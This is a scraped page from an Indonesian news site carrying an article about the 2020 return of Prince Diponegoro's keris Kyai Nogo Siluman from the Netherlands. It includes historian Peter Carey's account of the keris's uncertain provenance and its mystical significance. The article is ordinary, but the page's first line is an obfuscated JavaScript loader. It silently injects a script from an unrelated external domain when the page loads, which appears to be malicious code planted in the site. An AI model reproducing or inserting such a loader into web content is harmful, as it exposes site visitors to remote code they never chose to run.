(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Riwayat Keris Bertuah Milik Diponegoro, Ini Mitos dan Kesaktiannya


KANALKALIMANTAN.COM, JAKARTA – Keris Kyai Nogo Siluman milik Pangeran Diponegoro sudah tiba di Tanah Air, Kamis (5/3/2020). Setelah 189 tahun berada di tangan Belanda, ia dipulangkan lima hari jelang lawatan kenegaraan Raja Belanda Willem-Alexander ke Indonesia. Namun riwayat keris itu sendiri masih terselubung misteri.

Menurut Peter Carey, sejarawan peneliti Pangeran Diponegoro, keris Kiai Nogo Siluman merupakan satu dari sekian benda pusaka ternama peninggalan pemimpin perlawanan Perang Jawa (1825-1830) yang selama ini disebutkan hilang. Tapi bagaimana keris itu bisa dibawa negosiator ulung Kolonel Jan-Baptist Cleerens ke Belanda pada 1831 masih jadi tanda tanya.

“Diponegoro punya banyak keris. Tentu itu (Kiai Nogo Siluman) bukan satu-satunya. Tapi bagaimana Cleerens memperoleh keris itu masih belum jelas. Apakah keris itu diberikan Diponegoro sebagai bentuk kepercayaan dalam negosiasi di Banyumas, atau Cleerens diberi oleh Jenderal (Hendrik Merkus Baron) de Kock setelah Diponegoro ditangkap di Magelang,” ujar Peter Carey kepada Historia.

Pasalnya menilik Babad Diponegoro, lanjut Carey, tak pernah ada catatan bahwa keris Diponegoro dilucuti. Penyebutan tentang keris Kyai Nogo Siluman pun hanya tertera pada dua dokumen, yakni surat Sentot Prawirodirjo, salah satu panglima perang Diponegoro tertanggal 27 Mei 1830 kepada perwira kavaleri Belanda, François Delatre, dan keterangan pelukis Raden Saleh pada Januari 1831 atas permintaan Direktur Koninklijke Kabinet van Zaldzaamheden (KKZ) SRP van de Kasteele.

“Kyai berarti tuan. Semua yang dimiliki seorang raja memakai nama ini. Nogo adalah ular dalam dongeng dengan sebuah mahkota di kepalanya. Siluman adalah sebuah nama yang terkait dengan bakat-bakat luar biasa, semacam kemampuan untuk menghilang dan seterusnya. Karena itu, nama keris Kyai Nogo Siluman berarti raja ular penyihir, sejauh hal itu dimungkinkan untuk menerjemahkan sebuah nama yang megah,” sebut Raden Saleh dalam penilaian singkatnya, mengutip Werner Kraus dalam Raden Saleh dan Karyanya.

Dari keterangan Raden Saleh sudah terasa betapa keramat keris Kiai Nogo Siluman. Soal dari mana Diponegoro mendapatkan keris itu, Carey pun belum bisa memastikan siapa yang membuat atau apakah keris itu merupakan pemberian, sebagaimana Keris Kyai Abijoyo yang dilungsurkan dari ayahnya, Sri Sultan Hamengkubuwono III.

Dalam biografi Diponegoro, The Power of Prophecy, Carey sekadar menyebut keris itu diberi nama “Siluman”, kemungkinan karena ia bersemedi di Gua Siluman dalam pengelanaannya pada 1805 dan kemudian didatangi Putri Genowati, salah satu wakil Ratu Kidul yang menguasai Pantai Selatan. Karenanya Carey mengurai “isian” keris itu mengandung makna hubungan antara manusia di dunia nyata dan makhluk-makhluk gaib di alam tak kasat mata.

“Keris Kyai Nogo Siluman itu mempunyai isi makna tentang hubungan antara manusia dan dunia gaib. Dan keris yang punya luk 13 itu sering dilempar ke laut kidul, hingga kemudian tersembur semacam pintu terbuka di atas dunia para dewa-dewi. Diponegoro sangat hafal itu dan Ratu Kidul pernah datang untuk menawarkan bantuan pasukan gaib untuk mengusir Belanda. Tapi Diponegoro bilang, ia tidak membutuhkan pertolongan dunia gaib untuk urusan duniawi,” sambung Carey.

Dari penilaian itu pula, ditambah ketiadaan catatan dalam Babad Diponegoro tentang apakah keris itu yang senantiasa dipakai Diponegoro dalam peperangannya terhadap Belanda, Carey ragu bahwa Kiai Nogo Siluman merupakan keris Diponegoro yang paling utama dan paling keramat di antara semua pusakanya.

Di antara pusaka-pusaka yang dimiliki Pangeran Diponegoro, keris Kiai Ageng Bondoyudo masih diakui sebagai yang dianggap paling utama. Selain punya “isian” sebagai penguasa semua roh di Cilacap, keris itu pula yang menemani Diponegoro kala disemayamkan di Kampung Melayu, Makassar, saat wafatnya 8 Januari 1855.

“Keris yang paling penting adalah Kiai Ageng Bondoyudo itu. Keris paling berharga yang punya isi. Sampai ia berpesan saat (sebelum) meninggal, bahwa keris itu tidak boleh sembarangan diwariskan dan harus dikuburkan bersamanya karena di keris itulah dia punya (menyimpan) aji-aji dan kekuatan gaib yang tidak layak berada di tangan orang lain,” tandas Carey.(historia)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

3 jam ago

Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More

3 jam ago

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

5 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

6 jam ago

Tak Kuat Menanjak, Truk Bermuatan Keramik Berjalan Mundur di Sungai Ulin

Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More

6 jam ago

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More

7 jam ago

This website uses cookies.